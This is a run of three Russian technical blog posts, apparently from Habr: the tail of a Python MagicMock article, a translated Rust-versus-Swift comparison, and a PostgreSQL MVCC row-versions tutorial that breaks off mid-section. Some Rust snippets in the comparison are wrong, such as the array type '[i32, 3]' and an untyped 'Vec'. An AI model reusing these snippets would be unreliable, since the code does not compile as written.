def inc(self):
self._value += 1
def __str__(self):
return str(self._value)
class _Incrementer:
def __init__(self, number):
self._number = number
def __pos__(self):
self._number.inc()
x = Number(4)
print(x) # 4
++x
print(x) # 5
```
Объект MagicMock
----------------
Объект `MagicMock` позволяет брать у себя любой атрибут и вызывать любой метод. При таком способе доступа возвращается новая заглушка (mock). Более того, вы получаете такой же объект-заглушку, если обращаетесь к тому же атрибуту (или вызываете тот же метод):
```
>>> from unittest.mock import MagicMock
>>> m = MagicMock()
>>> a = m.a
>>> b = m.b
>>> a is m.a
True
>>> m.x() is m.x()
True
>>> m.x()
```
Очевидно, что этот код будет работать с последовательным обращением к атрибутам на любую глубину. При этом аргументы методов игнорируются:
```
>>> m.a.b.c.d
>>> m.a.b.c.d
>>> m.x().y().z()
>>> m.x(1).y(1).z(1)
```
А если вы зададите какому-нибудь атрибуту значение, то заглушка больше не будет возвращаться:
```
>>> m.a.b.c.d = 42
>>> m.a.b.c.d
42
>>> m.x.return_value.y.return_value = 13
>>> m.x().y()
13
```
Однако это не работает с `m[1][2]`. Дело в том, что `MagicMock` не обрабатывает обращение к элементу, это просто вызов метода:
```
>>> m[1][2] = 3
>>> m[1][2]
>>> m.\_\_getitem\_\_.return\_value.\_\_getitem\_\_.return\_value = 50
>>> m[1][2]
50
``` | https://habr.com/ru/post/438778/ | null | ru | null |
# Rust и Swift (третья, четвёртая, пятая и шестая части)
Продолжаю переводить цикл, в котором автор параллельно изучает Rust и Swift и сравнивает их между собой. Перевод вступления и первых двух частей вы можете найти [тут](https://habrahabr.ru/post/280274/). В этой части речь пойдёт о перегрузке операторов, манипуляциях со строками и коллекциях.
#### Операторы, их перегрузка и мысли о краткости
Я только что добрался до операторов в Swift. Первый вопрос: операторы — это специальный синтаксис или просто сахар для протоколов (protocol)? Каждый современный язык, который я использую или с которым когда-либо игрался (Python, Ruby, Io, Elixir и Rust — несколько примеров из большого разнообразия эпох и стилей), реализует их просто как сахар для других конструкций языка.
Поразбиравшись, я выяснил, что операторы — это функции (ну ладно), заданные ~~глобальным пространством~~ модулем Swift. Я говорю «ну ладно» вместо «хорошо», поскольку объяснение звучит так: это единственный способ заставить операторы работать как бинарные операторы между существующими типами. Оно упускает тот факт, что в таком случае причина кроется в строении языка. Кажется, сюда отлично вписались бы протоколы, но, возможно, они, в отличие от трейтов (trait) Rust, не способны справиться с проблемой в полной мере? Это открытый вопрос, и я понятия не имею, как на него ответить.
Интересно, что Rust располагает немного меньшим количеством операторов, чем Swift, даже если не считать упомянутых в моем предыдущем посте. В Rust, как и в Python, полностью отсутствуют префиксные и постфиксные операторы, потому что те же результаты можно получить другими более простыми способами. В Swift эти операторы частично сохраняются, несомненно, потому, что большинство программистов, которые имели дело с (Objective) C хорошо знакомы с ними и их идиомами.
*Примечание переводчика: в Swift 2.2 убрали операторы инкремента/декремента, которых изначально не было в Rust. С другой стороны, в Swift разрешается создание собственных операторов.*
Также я узнал кое-что новое об операторах в Rust: булевы операторы `||` и `&&` отличаются от битовых `|` и `&` операторов не только тем, что первая группа реализует вычисления по короткой схеме. Конечно, с помощью второй группы можно выполнять битовые операции, однако в справочнике подчёркивается разница в плане схемы вычисления. Это вполне оправданно, но раньше я никогда об этом не задумывался.
*Примечание переводчика: честно говоря, так и не понял, что хотел автор этим сказать.*
В Rust отсутствует тернарный оператор, что связано с тем, как язык работает с выражениями (expressions) и инструкциями (statements). В Swift он есть. Интересная мысль о разнице в языковом дизайне: Rust избавился от этого оператора, поскольку блоки оператора `if` являются выражениями и, таким образом, он избыточен, а создатели языка стремились убрать ненужные возможности. (Обсуждение об отказе от тернарного оператора и интересное замечание о JavaScript от Брендана Айка читайте [здесь](https://github.com/rust-lang/rust/issues/1698)). Оговорюсь, что это не критика в сторону Swift, a просто замечание, хотя мне и вправду больше нравится использующий выражения подход Rust.
С другой стороны, мне очень не нравится оператор `??` (nil coalescing operator). Он выглядит как сокращение ради сокращения, частично обусловленное стремлением Swift к краткости опциональных типов. Иногда краткость ведет к потере ясности. Избыточные сокращения усложняют язык и вынуждают замедляться при чтении каждой строки.
Булевы операторы в сравниваемых языках ничем не отличаются и не удивляют.
Интересно, сколько раз слово «краткий» или его синоним употребляется в книге о Swift? Я все отчетливее понимаю, что краткость — это одна из основных целей этого языка. Возможно, мне просто так кажется, но это всё же немного странно. Краткость — это хорошо, но читаемость — намного лучше.
#### Компромиссы в строении языка на примере работы со строками
И Swift, и Rust решают проблему безопасности и управления памятью, хотя подходят они к ней по-разному: Swift через автоматический подсчёт ссылок, а Rust через концепцию владения. Для повседневной работы подход Swift кажется мне более выигрышным по той же причине, что и Python или Ruby: *приятно*, когда всё делают за тебя. Rust даёт много возможностей, но вместе с тем заставляет постоянно задумываться о владении.
Другими словами, во всех языках присутствуют компромиссы. Хотя пока что Rust нравится мне больше, чем Swift, я, без сомнения, найду много пунктов, по которым Swift окажется лучше. Нельзя получить всё.
Я обратил на это внимание отчасти потому, что в Swift работать со строками (или другими типами, передающимися по значению) намного проще, чем в Rust. Результаты практически не отличаются, но поскольку в Swift все строки передаются по значению и никогда по ссылке, вам просто не придется задумываться о том что они будут модифицированы.
Конечно, для этой цели в Rust существует трейт Copy — я имею в виду, что Swift немного «эргономичнее».
Интерполяция строк в Swift очень *удобна*. Это единственное, чего мне не хватает в Rust. Его выполненный в стиле Python макрос для форматирования строк хорош, но интерполяция значений (`strings with \(variables)` или даже `embedded expressions like \(2 + 4)`) — это просто замечательно.
В целом, подход Swift к строкам хорошо продуман и уделяет должное внимание деталям, что значительно облегчает работу со сложными или "не западными" языками. Я, как помешанный на типографии, это очень ценю.
При этом, поскольку строки Swift обрабатывают все подобные граничные случаи для Юникодa, теряется несколько стандартных паттернов обращения к строкам, что значительно затрудняет (или делает невозможным?) понимание внутреннего строения строки. В зависимости от обстоятельств, это может быть как преимуществом, так и недостатком. Как я и говорил: компромиссы везде.
На самом деле, читая дальше, я понял, что Swift обращается со Юникод-строками довольно изящно и обеспечивает понимание процесса, используя отдельные методы для разных реализаций. В частности, я ценю, что вы можете как работать с типом `String`, так и получать прямой доступ к "code points" — причём не к какому-то одному, а к любому из UTF8, UTF16 или UTF32. Доверьтесь опыту Apple: к тексту нужно относиться очень внимательно.
Строки в Rust неплохи, но менее замысловаты (предположительно, это сделано ради упрощения представления их в памяти). В этом языке `String` или `str` всегда состоят из скалярных значений юникодa (UTF32), закодированных в виде последовательности UTF8 байт. В нем, в отличие от Swift, отсутствуют удобные методы получения других реализаций. Вместе с тем, я полагаю, что в повседневном программировании это проявится редко, а может быть, вообще никогда. Важно то, что оба языка хранят скалярныe значения.
Это первая часть, в которой я не чувствовал явного превосходства Rust над Swift. Некоторые из компромиссов в строении этих языков здесь проявляются более отчетливо, и я ценю, что «эргономика» Swift в их числе.
#### Преимущества (и сложности) параллельного изучения языков
Я изучаю Swift пару недель, а до этого в течение месяца погружался в глубины Rust. Такой подход — освоение двух языков практически одновременно — совершенно новый для меня, и на то имеются веские основания. Изучать язык программирования нелегко, и, чтобы осмыслить новые знания, необходимо много с ним работать.
Я делаю это из необходимости. Надеюсь, что смогу разработать приложение на очень функциональной и эффективной кросс-платформенной базе языка Rust, но планирую выпустить нативное приложение для OS X только тогда, когда все отшлифую. Мое желание сделать ядро приложения переносимым сразу же исключает использование Swift. Честно говоря, этому способствует и то, что это язык Apple: я с удовольствием использую инструменты Apple на их платформе, но не хочу постоянно зависеть от решений этой компании. К тому же опыт в Rust может пригодиться во многих других случаях.
Итак, мне нужно выучить оба языка.
И хотя в обычной ситуации я бы не рекомендовал — а если у вас еще нет достаточного опыта в программировании и знаний нескольких языков, даже откровенно отговаривал бы от использования такого метода, — мне кажется, что он невероятно полезен. Эти языки были созданы примерно в одно время и черпали вдохновение в одних и тех же источниках, у них частично совпадает аудитория и цели. В то же время, как уже было показано в этом цикле, во многих отношениях они довольно сильно отличаются.
Параллельное изучение двух языков помогло мне увидеть, на какие компромиссы идет каждый из них, заставило задуматься о том, чем обусловлены иx различия. В частности, я думаю, что теперь лучше понимаю, что происходит «за кулисами» этих языков и, знаю, чего от них ожидать. Это, в свою очередь, существенно повлияло на скорость изучения языка. Конечно, здесь также сыграло свою роль то, что я знаю несколько языков и последнее время активно расширял свой кругозор: читал о Haskell, функциональных паттернах в JavaScript и т.д.
Конечно, в обоих языках мне еще предстоит длинный путь. Читать по ночам и выходным и немного играться с каждым из них — это не то же самое, что вцепиться зубами в проект и искать болевые точки. Тем не менее, я действительно рад, что изучаю эти языки одновременно. Если вы готовы принять вызов, можете тоже попробовать. Вы удивитесь тому, как много сумеете выучить.
#### Типы коллекций и различие между синтаксисом и семантикой
Думаю, следующее предложение во многих отношениях характеризует языковой дизайн Swift:
> Хотя две формы идентичны с функциональной точки зрения, более краткая форма является предпочтительной и употребляется в этом пособии при ссылке на тип массива данных. —The Swift Programming Language (Swift 2 Prerelease)
Документация о различных типах в модуле Rust `std::collections` интересна и полезна. Очень рекомендую.
Читая эту главу в руководстве по Swift, я заметил одну вещь: в Rust нет именованных параметров, а в Swift они есть. В обоих случаях это решение обоснованно, но мне кажется, что это одна из деталей, которых мне будет больше всего не хвастать в Rust. Python меня избаловал.
Примечание переводчика: имеется [RFC](https://github.com/rust-lang/rfcs/issues/323) по добавлению именованных параметров в Rust.
Тип `Array` в Swift аналогичен типу `Vec` в Rust (который обычно создается макросом vec!). Оба контейнера могут динамически изменять размер и хранят элементы в куче (heap), в то время как массивы в Rust имеют статический размер и создаются на стеке. Синтаксис для создания массивов в обоих языках весьма похож (хотя результат и различается):
```
let an_array: [Int] = [1, 2, 3] // Массив фиксированного размера
var an_array = [1, 2, 3] // Массив динамического размера
```
```
let an_array: [i32, 3] = [1, 2, 3]; // Массив
let a_vector: Vec = vec![1, 2, 3]; // Вектор
```
Это можно записать короче, так как оба языка умеют выводить типы, так что вам редко придётся писать именно так. Более привычный вариант будет выглядеть следующим образом:
```
let an_array = [1, 2, 3]
var an_array = [1, 2, 3]
```
```
let an_array = [1, 2, 3];
let a_vector = vec![1, 2, 3];
```
Rust также добавляет концепцию "срезов" (slices), которые предоставляют доступ к части массива и представляют собой указатель на массив и размер (количество элементов).
Операции с массивами в Swift вполне логичны и на удивление наглядны. Они в хорошем смысле напоминают мне операции со списками в Python.
У контейнера Vec в Rust богатое API, и это неплохо. Меня немного удивило отсутствие метода для обхода элементов, но затем я обнаружил, что он присутствует у структуры IntoIter в том же модуле, для которой реализован трейт Iterator. Как результат, соответствующий метод возвращает экземпляр структуры `Enumerate`. (Подозреваю, что под капотом массивы в Swift просто реализуют протокол `Iterable`, что в каком-то роде похоже на подход Rust.)
Это пример того, о чём я часто говорю: Rust не обязательно помещает всё в один объект, а скорее разносит функциональность по нескольким связанным структурам, объединениям или трейтам. Это действительно мощный подход, но он требует некоторой привычки. В этом отношении структуры и семантика Swift гораздо больше похожи на языки, к которым я больше привык, хотя использование протоколов даёт больше гибкости.
Заметьте, что я говорил о семантике, а не синтаксисе. Swift и Rust — отличный пример того, как очень похожий синтаксис может скрывать различия в семантике. Ещё один пример: сравните синтаксис и семантику JavaScript и Java — на первый взгляд, они похожи синтаксически, но тем не менее между их семантикой пролегает гигантская пропасть.
Как `Set` в Swift, так и его грубый аналог `HashSet` в Rust имеют в распоряжении `contains` метод, который очень похож на ключевое слово `in` в Python. Нет ничего удивительного в том, что оба типа реализуют немало одинаковых методов. Наверное, этого следовало ожидать, учитывая тот факт, что множества представляют собой стандартное математическое понятие.
По причине более строгой типизации и Rust, и Swift требуют указания типов, используемых в ассоциативных массивах (`HashMap` в Rust и `Dictionary` в Swift), хотя, конечно, оба языка могут выводить типы в определённых случаях. Вы не можете смешивать использование разных типов ключей, как это разрешается в Python, но на практике это не должно вам мешать по двум причинам:
1. Как правило, не рекомендуется использовать ключи разных типов. Как по мне, это часто указывает на то, что вам стоит тщательнее подумать об используемых типах и структурах данных.
2. Мне интересно, можно ли в редких случаях, когда это уместно, использовать дженерик-тип в Rust или Swift. Я планирую прояснить этот вопрос попозже!
Было бы здорово, если бы Swift использовал Python-подобный синтаксис (`{'ключ': 'значение'}`) для инициализации ассоциативных массивов. Тем не менее, я понимаю, почему это невозможно: фигурные скобки уже заняты под блоки, а в Python такой проблемы нет, так как он использует отступы. Но это действительно удобно.
Я понимаю, почему дизайнеры Swift использовали для инициализации последовательностей скобки (`[...]`): это значительно упрощает парсинг. В результате, с первого взгляда тяжело понять, с чем вы имеете дело. Это может быть массив, множество или ассоциативный массив.
Это подчёркивает недооценённый аспект дизайна языков программирования — читаемость. Как бы нам, программистам, не нравилось писать код, в реальности мы тратим много, вероятно, большую часть, времени на его чтение. Таким образом, хотя и нужно уделять внимание удобству написания, стоит так же задуматься о лёгкости чтения кода. Синтаксис и соглашения, принятые в языке, составляют немалую часть этого.
Тип `Dictionary` в Swift очень похож на свой аналог в Python, вплоть до совпадения имён нескольких методов. Это справедливо и для `HashMap` в Rust. Это вовсе не плохо.
#### Послесловие от переводчика
Начинаю сомневаться в том, что браться за перевод этой серии статей было хорошей идеей. У автора встречаются интересные мысли, которые подтолкнули меня узнать больше о Swift. С другой стороны, у него слишком много поверхностных суждений, и информацию приходится искать самому. Если дополнять перевод своими примечаниями, как я периодически порываюсь делать, то их придётся писать чуть ли не к каждому пункту. В итоге получится не перевод, а чёрт знает что. Так что, вероятно, остановлюсь на этих частях. | https://habr.com/ru/post/280902/ | null | ru | null |
# MVCC-3. Версии строк
Итак, мы рассмотрели вопросы, связанные с [изоляцией](https://habr.com/ru/company/postgrespro/blog/442804/), и сделали отступление об [организации данных на низком уровне](https://habr.com/ru/company/postgrespro/blog/444536/). И наконец добрались до самого интересного — до версий строк.
Заголовок
=========
Как мы уже говорили, каждая строка может одновременно присутствовать в базе данных в нескольких версиях. Одну версию от другой надо как-то отличать С этой целью каждая версия имеет две отметки, определяющие «время» действия данной версии (xmin и xmax). В кавычках — потому, что используется не время как таковое, а специальный увеличивающийся счетчик. И этот счетчик — номер транзакции.
(Как обычно, на самом деле все сложнее: номер транзакций не может все время увеличиваться из-за ограниченной разрядности счетчика. Но эти детали мы рассмотрим подробно, когда дойдем до заморозки.)
Когда строка создается, значение xmin устанавливается в номер транзакции, выполнившей команду INSERT, а xmax не заполняется.
Когда строка удаляется, значение xmax текущей версии помечается номером транзакции, выполнившей DELETE.
Когда строка изменяется командой UPDATE, фактически выполняются две операции: DELETE и INSERT. В текущей версии строки устанавливается xmax, равный номеру транзакции, выполнившей UPDATE. Затем создается новая версия той же строки; значение xmin у нее совпадает с значением xmax предыдущей версии.
Поля xmin и xmax входят в заголовок версии строки. Кроме этих полей, заголовок содержит и другие, например:
* infomask — ряд битов, определяющих свойства данной версии. Их довольно много; основные из них мы постепенно рассмотрим.
* ctid — ссылка на следующую, более новую, версию той же строки. У самой новой, актуальной, версии строки ctid ссылается на саму эту версию. Номер имеет вид (x,y), где x — номер страницы, y — порядковый номер указателя в массиве.
* битовая карта неопределенных значений — отмечает те столбцы данной версии, которые содержат неопределенное значение (NULL). NULL не является одним из обычных значений типов данных, поэтому признак приходится хранить отдельно.
В результате заголовок получается довольно большой — минимум 23 байта на каждую версию строки, а обычно больше из-за битовой карты NULL-ов. Если таблица «узкая» (то есть содержит мало столбцов), накладные расходы могут занимать больше, чем полезная информация.
Вставка
=======
Рассмотрим подробнее, как выполняются операции со строками на низком уровне, и начнем со вставки.
Для экспериментов создадим новую таблицу с двумя столбцами и индекс по одному из них:
```
=> CREATE TABLE t(
id serial,
s text
);
=> CREATE INDEX ON t(s);
```
Вставим одну строку, предварительно начав транзакцию.
```
=> BEGIN;
=> INSERT INTO t(s) VALUES ('FOO');
```
Вот номер нашей текущей транзакции:
```
=> SELECT txid_current();
```
```
txid_current
--------------
3664
(1 row)
```
Заглянем в содержимое страницы. Функция heap\_page\_items расширения pageinspect позволяет получить информацию об указателях и версиях строк:
```
=> SELECT * FROM heap_page_items(get_raw_page('t',0)) \gx
```
```
-[ RECORD 1 ]-------------------
lp | 1
lp_off | 8160
lp_flags | 1
lp_len | 32
t_xmin | 3664
t_xmax | 0
t_field3 | 0
t_ctid | (0,1)
t_infomask2 | 2
t_infomask | 2050
t_hoff | 24
t_bits |
t_oid |
t_data | \x0100000009464f4f
```
Заметим, что словом heap (куча) в PostgreSQL обозначаются таблицы. Это еще одно странное употребление термина — куча является известной [структурой данных](https://en.wikipedia.org/wiki/Heap_(data_structure)), которая не имеет с таблицей ничего общего. Здесь это слово употребляется в смысле «все свалено в кучу», в отличие от упорядоченных индексов.
Функция показывает данные «как есть», в формате, сложном для восприятия. Чтобы разобраться, мы оставим только часть информации и расшифруем ее:
```
=> SELECT '(0,'||lp||')' AS ctid,
CASE lp_flags
WHEN 0 THEN 'unused'
WHEN 1 THEN 'normal'
WHEN 2 THEN 'redirect to '||lp_off
WHEN 3 THEN 'dead'
END AS state,
t_xmin as xmin,
t_xmax as xmax,
(t_infomask & 256) > 0 AS xmin_commited,
(t_infomask & 512) > 0 AS xmin_aborted,
(t_infomask & 1024) > 0 AS xmax_commited,
(t_infomask & 2048) > 0 AS xmax_aborted,
t_ctid
FROM heap_page_items(get_raw_page('t',0)) \gx
```
```
-[ RECORD 1 ]-+-------
ctid | (0,1)
state | normal
xmin | 3664
xmax | 0
xmin_commited | f
xmin_aborted | f
xmax_commited | f
xmax_aborted | t
t_ctid | (0,1)
```
Вот что мы сделали:
* Добавили к номеру указателя нолик, чтобы привести его к такому же виду, как t\_ctid: (номер страницы, номер указателя).
* Расшифровали состояние указателя lp\_flags. Здесь он «normal» — это значит, что указатель действительно ссылается на версию строки. Другие значения рассмотрим позже.
* Из всех информационных битов выделили пока только две пары. Биты xmin\_committed и xmin\_aborted показывают, зафиксирована ли (отменена ли) транзакция с номером xmin. Два аналогичных бита относятся к транзакции с номером xmax.
Что же мы видим? При вставке строки в табличной странице появится указатель с номером 1, ссылающийся на первую и единственную версию строки.
В версии строки поле xmin заполнено номером текущей транзакции. Транзакция еще активна, поэтому оба бита xmin\_committed и xmin\_aborted не установлены.
Поле ctid версии строки ссылается на эту же строку. Это означает, что более новой версии не существует.
Поле xmax заполнено фиктивным номером 0, поскольку данная версия строки не удалена и является актуальной. Транзакции не будут обращать внимание на этот номер, поскольку установлен бит xmax\_aborted.
Сделаем еще один шаг к улучшению читаемости, дописав информационные биты к номерам транзакций. И создадим функцию, поскольку запрос нам еще не раз понадобится:
```
=> CREATE FUNCTION heap_page(relname text, pageno integer)
RETURNS TABLE(ctid tid, state text, xmin text, xmax text, t_ctid tid)
AS $$
SELECT (pageno,lp)::text::tid AS ctid,
CASE lp_flags
WHEN 0 THEN 'unused'
WHEN 1 THEN 'normal'
WHEN 2 THEN 'redirect to '||lp_off
WHEN 3 THEN 'dead'
END AS state,
t_xmin || CASE
WHEN (t_infomask & 256) > 0 THEN ' (c)'
WHEN (t_infomask & 512) > 0 THEN ' (a)'
ELSE ''
END AS xmin,
t_xmax || CASE
WHEN (t_infomask & 1024) > 0 THEN ' (c)'
WHEN (t_infomask & 2048) > 0 THEN ' (a)'
ELSE ''
END AS xmax,
t_ctid
FROM heap_page_items(get_raw_page(relname,pageno))
ORDER BY lp;
$$ LANGUAGE SQL;
```
В таком виде значительно понятнее, что творится в заголовке версии строки:
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+------+-------+--------
(0,1) | normal | 3664 | 0 (a) | (0,1)
(1 row)
```
Похожую, но существенно менее детальную, информацию можно получить и из самой таблицы, используя псевдостолбцы xmin и xmax:
```
=> SELECT xmin, xmax, * FROM t;
```
```
xmin | xmax | id | s
------+------+----+-----
3664 | 0 | 1 | FOO
(1 row)
```
Фиксация
========
При успешном завершении транзакции нужно запомнить ее статус — отметить, что она зафиксирована. Для этого используется структура, называемая XACT (а до версии 10 она называлась CLOG (commit log) и это название еще может встречаться в разных местах).
XACT — не таблица системного каталога; это файлы в каталоге PGDATA/pg\_xact. В них для каждой транзакции отведено два бита: committed и aborted — точно так же, как в заголовке версии строки. На несколько файлов эта информация разбита исключительно для удобства, мы еще вернемся к этому вопросу, когда будем рассматривать заморозку. А работа с этими файлами ведется постранично, как и со всеми другими.
Итак, при фиксации транзакции в XACT выставляется бит committed для данной транзакции. И это все, что происходит при фиксации (правда, мы пока не говорим про журнал предзаписи).
Когда какая-либо другая транзакция обратится к табличной странице, на которую мы только что смотрели, ей придется ответить на несколько вопросов.
1. Завершилась ли транзакция xmin? Если нет, то созданная версия строки не должна быть видна.
Такая проверка выполняется просмотром еще одной структуры, которая располагается в общей памяти экземпляра и называется ProcArray. В ней находится список всех активных процессов, и для каждого указан номер его текущей (активной) транзакции.
2. Если завершилась, то как — фиксацией или отменой? Если отменой, то версия строки тоже не должны быть видна.
Вот для этого как раз и нужен XACT. Но, хотя последние страницы XACT сохраняются в буферах в оперативной памяти, все же каждый раз проверять XACT накладно. Поэтому выясненный однажды статус транзакции записывается в биты xmin\_committed и xmin\_aborted версии строки. Если один из этих битов установлен, то состояние транзакции xmin считается известным и следующей транзакции уже не придется обращаться к XACT.
Почему эти биты не устанавливаются самой транзакцией, выполняющей вставку? Когда происходит вставка, транзакция еще не знает, завершится ли она успешно. А в момент фиксации уже непонятно, какие именно строки в каких именно страницах были изменены. Таких страниц может оказаться много, и запоминать их невыгодно. К тому же часть страниц может быть вытеснена из буферного кеша на диск; читать их заново, чтобы изменить биты, означало бы существенно замедлить фиксацию.
Обратная сторона экономии состоит в том, что после изменений любая транзакция (даже выполняющая простое чтение — SELECT) может начать менять страницы данных в буферном кеше.
Итак, зафиксируем изменение.
```
=> COMMIT;
```
В странице ничего не изменилось (но мы знаем, что статус транзакции уже записан в XACT):
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+------+-------+--------
(0,1) | normal | 3664 | 0 (a) | (0,1)
(1 row)
```
Теперь транзакция, первой обратившаяся к странице, должна будет определить статус транзакции xmin и запишет его в информационные биты:
```
=> SELECT * FROM t;
```
```
id | s
----+-----
1 | FOO
(1 row)
```
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+-------+--------
(0,1) | normal | 3664 (c) | 0 (a) | (0,1)
(1 row)
```
Удаление
========
При удалении строки в поле xmax актуальной версии записывается номер текущей удаляющей транзакции, а бит xmax\_aborted сбрасывается.
Заметим, что установленное значение xmax, соответствующее активной транзакции, выступает в качестве блокировки строки. Если другая транзакция собирается обновить или удалить эту строку, она будет вынуждена дождаться завершения транзакции xmax. Подробнее про блокировки мы будем говорить позже. Пока отметим только, что число блокировок строк ничем не ограничено. Они не занимают место в оперативной памяти и производительность системы не страдает от их количества. Правда, у “длинных” транзакций есть другие минусы, но об этом тоже позже.
Удалим строку.
```
=> BEGIN;
=> DELETE FROM t;
=> SELECT txid_current();
```
```
txid_current
--------------
3665
(1 row)
```
Видим, что номер транзакции записался в поле xmax, но информационные биты не установлены:
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+------+--------
(0,1) | normal | 3664 (c) | 3665 | (0,1)
(1 row)
```
Отмена
======
Отмена изменений работает аналогично фиксации, только в XACT для транзакции выставляется бит aborted. Отмена выполняется так же быстро, как и фиксация. Хоть команда и называется ROLLBACK, отката изменений не происходит: все, что транзакция успела изменить в страницах данных, остается без изменений.
```
=> ROLLBACK;
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+------+--------
(0,1) | normal | 3664 (c) | 3665 | (0,1)
(1 row)
```
При обращении к странице будет проверен статус и в версию строки будет установлен бит подсказки xmax\_aborted. Сам номер xmax при этом остается в странице, но смотреть на него уже никто не будет.
```
=> SELECT * FROM t;
```
```
id | s
----+-----
1 | FOO
(1 row)
```
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+----------+--------
(0,1) | normal | 3664 (c) | 3665 (a) | (0,1)
(1 row)
```
Обновление
==========
Обновление работает так, как будто сначала выполнилось удаление текущей версии строки, а затем вставка новой.
```
=> BEGIN;
=> UPDATE t SET s = 'BAR';
=> SELECT txid_current();
```
```
txid_current
--------------
3666
(1 row)
```
Запрос выдает одну строку (новую версию):
```
=> SELECT * FROM t;
```
```
id | s
----+-----
1 | BAR
(1 row)
```
Но в странице мы видим обе версии:
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+-------+--------
(0,1) | normal | 3664 (c) | 3666 | (0,2)
(0,2) | normal | 3666 | 0 (a) | (0,2)
(2 rows)
```
Удаленная версия помечена номером текущей транзакции в поле xmax. Причем это значение записано поверх старого, поскольку предыдущая транзакция была отменена. А бит xmax\_aborted сброшен, так как статус текущей транзакции еще неизвестен.
Первая версия строки ссылается теперь на вторую (поле t\_ctid), как на более новую.
В индексной странице появляется второй указатель и вторая строка, ссылающаяся на вторую версию в табличной странице.
Так же, как и при удалении, значение xmax в первой версии строки служит признаком того, что строка заблокирована.
Ну и завершим транзакцию.
```
=> COMMIT;
```
Индексы
=======
До сих пор мы говорили только о табличных страницах. А что происходит внутри индексов?
Информация в индексных страницах сильно зависит от конкретного типа индекса. И даже у одного типа индекса бывают разные виды страниц. Например, у B-дерева есть страница с метаданными и «обычные» страницы.
Тем не менее, обычно в странице имеется массив указателей на строки и сами строки (так же, как и в табличной странице). Кроме того, в конце страницы отводится место под специальные данные.
Строки в индексах тоже могут иметь очень разную структуру в зависимости от типа индекса. Например, для B-дерева строки, относящиеся к листовым страницам, содержат значение ключа индексирования и ссылку (ctid) на соответствующую строку таблицы. В общем случае индекс может быть устроен совсем другим образом.
Самый важный момент состоит в том, что в индексах любого типа не бывает версий строк. Ну или можно считать, что каждая строка представлена ровно одной версией. Иными словами, в заголовке индексной строки не бывает полей xmin и xmax. Можно считать, что ссылки из индекса ведут на все табличные версии строк — так что разобраться, какую из версий увидит транзакция, можно только заглянув в таблицу. (Как обычно, это не вся правда. В некоторых случаях карта видимости позволяет оптимизировать процесс, но подробнее рассмотрим это позже.)
При этом в индексной странице обнаруживаем указатели на обе версии, как на актуальную, так и на старую:
```
=> SELECT itemoffset, ctid FROM bt_page_items('t_s_idx',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,2)
2 | (0,1)
(2 rows)
```
Виртуальные транзакци
=====================
На практике PostgreSQL использует оптимизацию, позволяющую «экономить» номера транзакций.
Если транзакция только читает данные, то она никак не влияет на видимость версий строк. Поэтому вначале обслуживающий процесс выдает транзакции виртуальный номер (virtual xid). Номер состоит из идентификатора процесса и последовательного числа.
Выдача этого номера не требует синхронизации между всеми процессами и поэтому выполняется очень быстро. С другой причиной использования виртуальных номеров мы познакомимся, когда будем говорить о заморозке.
Виртуальные номера никак не учитываются в снимках данных.
В разные моменты времени в системе вполне могут оказаться виртуальные транзакции с номерами, которые уже использовались, и это нормально. Но такой номер нельзя записывать в страницы данных, потому что при следующем обращении к странице он может потерять всякий смысл.
```
=> BEGIN;
=> SELECT txid_current_if_assigned();
```
```
txid_current_if_assigned
--------------------------
(1 row)
```
Если же транзакция начинает менять данные, ей выдается настоящий, уникальный номер транзакции.
```
=> UPDATE accounts SET amount = amount - 1.00;
=> SELECT txid_current_if_assigned();
```
```
txid_current_if_assigned
--------------------------
3667
(1 row)
```
```
=> COMMIT;
```
Вложенные транзакции
====================
Точки сохранения
----------------
В SQL определены *точки сохранения* (savepoint), которые позволяют отменить часть операцией транзакции, не прерывая ее полностью. Но это не укладывается в приведенную выше схему, поскольку статус у транзакции один на все ее изменения, а физически никакие данные не откатываются.
Чтобы реализовать такой функционал, транзакция с точкой сохранения разбивается на несколько отдельных *вложенных транзакций* (subtransaction), статусом которых можно управлять отдельно.
Вложенные транзакции имеют свой собственный номер (бóльший, чем номер основной транзакции). Статус вложенных транзакций записывается обычным образом в XACT, однако финальный статус зависит от статуса основной транзакции: если она отменена, то отменяются также и все вложенные транзакции.
Информация о вложенности транзакций хранится в файлах в каталоге PGDATA/pg\_subtrans. Обращение к файлам происходит через буферы в общей памяти экземпляра, организованные так же, как и буферы XACT.
Не путайте вложенные транзакции и автономные транзакции. Автономные транзакции никак не зависят друг от друга, а вложенные — зависят. Автономных транзакций в обычном PostgreSQL нет, и, пожалуй, к лучшему: по делу они нужны очень и очень редко, а их наличие в других СУБД провоцирует злоупотребление, от которого потом все страдают.
Очистим таблицу, начнем транзакцию и вставим строку:
```
=> TRUNCATE TABLE t;
=> BEGIN;
=> INSERT INTO t(s) VALUES ('FOO');
=> SELECT txid_current();
```
```
txid_current
--------------
3669
(1 row)
```
```
=> SELECT xmin, xmax, * FROM t;
```
```
xmin | xmax | id | s
------+------+----+-----
3669 | 0 | 2 | FOO
(1 row)
```
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+------+-------+--------
(0,1) | normal | 3669 | 0 (a) | (0,1)
(1 row)
```
Теперь поставим точку сохранения и вставим еще одну строку.
```
=> SAVEPOINT sp;
=> INSERT INTO t(s) VALUES ('XYZ');
=> SELECT txid_current();
```
```
txid_current
--------------
3669
(1 row)
```
Заметьте, что функция txid\_current() выдает номер основной, а не вложенной, транзакции.
```
=> SELECT xmin, xmax, * FROM t;
```
```
xmin | xmax | id | s
------+------+----+-----
3669 | 0 | 2 | FOO
3670 | 0 | 3 | XYZ
(2 rows)
```
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+------+-------+--------
(0,1) | normal | 3669 | 0 (a) | (0,1)
(0,2) | normal | 3670 | 0 (a) | (0,2)
(2 rows)
```
